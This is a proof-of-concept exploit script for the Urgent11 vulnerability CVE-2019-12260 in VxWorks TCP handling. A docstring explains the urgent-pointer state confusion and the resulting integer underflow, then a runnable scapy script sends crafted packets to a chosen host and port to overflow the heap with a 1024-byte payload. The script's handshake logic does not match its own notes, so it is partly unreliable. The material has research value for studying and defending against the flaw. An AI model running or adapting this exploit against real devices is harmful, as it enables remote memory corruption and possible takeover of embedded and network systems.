'''
## TCP Urgent Pointer state confusion caused by malformed TCP AO option (CVE-2019-12260
In VxWorks versions above 6.9.3 a TCP Urgent Pointer state confusion can be caused by a malformed
TCP AO (Authentication Option) Option. 

.DESCRIPTION:
The vulnerability does not depend on the TCP AO to be enabled or used, it is always pared by the TCP module. 

1.  Attacker sends a malformed TCP_OPTION_AO in the first SYN packet, this can be done with a byte value of <= 3
        - The socket drops the connection but stays in a passive listen state
2.  Attacker sends a second SYN packet, due to the previous step the socket is still open and this packet gets parsed by that socket.
    Because of this state, some checks are not carried out:

    if ((p->seg.flags_n & TCP_SYN_FLAG) == 0) || (p->seg.flags_n & (TCP_FIN_FLAG | TCP_URG_FLAG | TCP_PSH_FLAG) != 0) {
        doStuff...
        return 0;
    }

    The above code basically checks if the SYN packet does not contain any of the following flags:
        - FIN
        - URG
        - PSH
    Since the check is not carried out, an attacker could send a SYN packet with any combination of the above flags. In the example of
    Armis on the Urgent11 exploits a crafted SYN packet with the URG and FIN flags was sent. This packet will be handled like a valid packet
    and will consist of the sequence number set by the attacker (from now called sequence_a). The following code will be executed by VxWorks:

    if (pkt->flags & 0x2000) { // Check if the URG flag is set in the packet
        tcb->urg_ptr = p->seq.seq_start + htons(pkt->urg_ptr);
        tcb->flags |= 0x80000; //TCB_STATE_URG_RECEIVED
    }

    The above code will effectively set the tcb->recv.urg_ptr to the value of sequence_a + 1 if the URG pointer in the TCP header is set to 1.
    The next check is looking for a FIN packet but since the state of the socket is still not valid for a FIN to be received the check fails and an
    error is returned to iptcp_input. The state of the socket stays unchanged and remains in a listen state. iptcp_input drops the packet due to the
    error but leaves the socket in its current state. Furthermore the TCB_STATE_URG_RECEIVED is left set on the socket and the recv.urg_ptr keeps the
    value of sequence_a + 1.
3.  The attacker now sends a valid SYN packet to the socket with an initial sequence number (from now called sequence_b).
    Assuming that sequence_b = sequence_a + 1000000. This packet is valid and will be handled by the code as intended. The target will send a valid
    SYN/ACK back to the attacker.
4.  The attacker responds with an ACK packet to finalize the handshake. The attacker can include up to 64K bytes of data with this ACK segment, this data
    will be added to the TCP receive window of the socket. The socket that was set to the listening state will now change to the ESTABLISHED_STATE, and
    a user waiting on an accept() call will be handed the client socket. Then the user will likely call recv() on the socket. At this point, the
    iptcp_usr_get_from_recv_queue will be executed:

    if (​tcb​->flags & 0x80000))) { // TCB_STATE_URG_RECEIVED
    ...
        if (​iptcp_at_mark​(s​ock​)) {
        ...
        } else if ((​int32​)(tcb->recv.urg_ptr - len + ​tcb​->recv.seq_next - ​sock​->ipcom.rcv_bytes) <= 0) {
            // Calculate the ​urgent data offset i​nside the window, in order to
            // copy data up to, but not including the urgent data
            len = ​tcb​->recv.urg_ptr - 1 - ​tcb​->recv.seq_next + ​sock-​>ipcom.rcv_bytes;
    }

    The TCB_STATE_URG_RECEIVED is still set at this point, and the recv.urg_ptr retains its value too. This causes the else-if block to be checked, and can now
    be substituted with its matching values:

    (​int32​)(​tcb​->recv.urg_ptr - ​len​ + ​tcb​->recv.seq_next - ​sock​->ipcom.rcv_bytes) <= 0
    ⇔ (​int32​)(sequence_a + 1 - ​len​ - sequence_b) <= 0
    ⇔ (​int32​)(sequence_a + 1 - ​len​ - sequence_a + 1000000) <= 0
    ⇔ (​int32​)(-​len​ - 999999) <= 0 

    The check is passed, and len will be set by the urgent data offset calculation as such:

    tcb​->recv.urg_ptr - 1 - ​tcb​->recv.seq_next + ​sock​->ipcom.rcv_bytes
    ⇔ sequence_a + 1 - 1 - (sequence_a + 1000000)
    ⇔ -1000000

    len will now be equal to -1000000, and since len is a 32-bit integer, it will now equal a very large number, voiding any user defined restrictions. This condition
    will result in overflows in any code that performs recv() on this TCP socket.

## The 5-way handshake
1.  Malformed SYN packet with TCP-AO option and a length of <= 3 bytes
2.  SYN packet with seq:0 and the URG and FIN flags set. Set the URG pointer to any value that is non-zero like 10
3.  Send a valid SYN packet with a high sequence number (something like 1000000)
4.  Target responds with a SYN/ACK
5.  Attacker response with ACK
        - This final ACK can carry a payload -> Armis shows a 1024 bytes payload which results in any recv() call on the socket to write these bytes into the user buffer.
        - If the TCP server performs a recv() of a shorter length, a memory corruption will occur.
        - The attacker controls the overflow data, as it's the data that was sent in the ACK packet

Demo video showing an attack on a Sonicwall TZ-300: https://www.youtube.com/watch?v=GPYVLbq83xQ

.NOTES:
PKT#1
    RFC 5925 describes the TCP-AO: https://tools.ietf.org/html/rfc5925#page-7
    It looks like 29h is the value asociated with TCP-AO, following its length

    send(IP(dst="127.0.0.1")/TCP(dport=80,flags="S",options=[(29, '\x02')]))

    The above packet is a forged SYN packet with the TCP-AO set and a payload of 1 byte, this should not pass the check of VxWorks.
    The send() option is used because no answer is expected to be returned by the device.
PKT#2
    Second packet is a SYN packet with the FIN and URG flags set, the urgent pointer is set to a non-zero value

    send(IP(dst=host)/TCP(sport=31337, dport=port, flags="SFU", seq=0, urgptr=10))

    Again send() is used because no answer is expected to be returned by the device.
PKT#3
    A valid SYN packet is sent to the same socket that should now be in a passive listening state, using a high sequence number to 
    trigger the heap overflow in a later stage.

    sr1(IP(dst=host)/TCP(sport=31337, dport=port, flags="S", seq=sequence))

    The sr1() is used because a SYN/ACK answer is expected back from the device, this is the start of the "official" 3-way handshake.
PKT#4
    After receiving the SYN/ACK from the target, the attacker sends an ACK with the initial payload to the device, because of the 
    check that was skipped before it will now used the value in the URG pointer to write the ACK payload on the heap, leading to a 
    heap overflow with attacker controlled values.

    sr1(IP(dst=host)/TCP(sport=31337, dport=port, flags="A", seq=TCP_SYN.seq, ack=TCP_SYN.seq+1))

    The sr1() is used because an ACK packet from the target side is expected to initialize the TCP connection.
'''

import argparse
from scapy.all import *
from scapy import route

def craft_packets(host, port):

    # Craft the malformed SYN packet with the TCP-AO option of <= 3 bytes
    TCP_MAL_SYN = IP(dst=host)/TCP(sport=31337, dport=port, flags="S", seq=0, options=[(29,'\x61')])
    print("[+] PKT#1: Sending malformed SYN...")
    send(TCP_MAL_SYN)

    # Craft the SYN packet with sequence 0 and flags FIN/URG. Set URG ptr to non-zero
    TCP_SYNURG = IP(dst=host)/TCP(sport=31337, dport=port, flags="FSU", seq=0, urgptr=10)
    print("[+] PKT#2: Sending malformed SYN/FIN/URG...")
    send(TCP_SYNURG)

    # Craft the valid SYN packet with a high sequence number
    sequence = 1000000
    TCP_SYN = IP(dst=host)/TCP(sport=31337, dport=port, flags="S", seq=sequence)
    print("[+] PKT#3: Sending valid SYN with seq:{0}".format(sequence))
    send(TCP_SYN)

    # Craft the valid ACK packet to respond to the device
    payload = "\xFF" * 1024
    TCP_ACK = IP(dst=host)/TCP(sport=31337, dport=port, flags="A", seq=TCP_SYN.seq, ack=TCP_SYN.seq+1)/payload
    sr1(TCP_ACK)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC for Urgent11 CVE-2019-12260")
    parser.add_argument("--host", dest="host", help="Target machine IP-address")
    parser.add_argument("--port", dest="port", help="Target port")

    args = parser.parse_args()

    # Craft the packets
    craft_packets(args.host, int(args.port))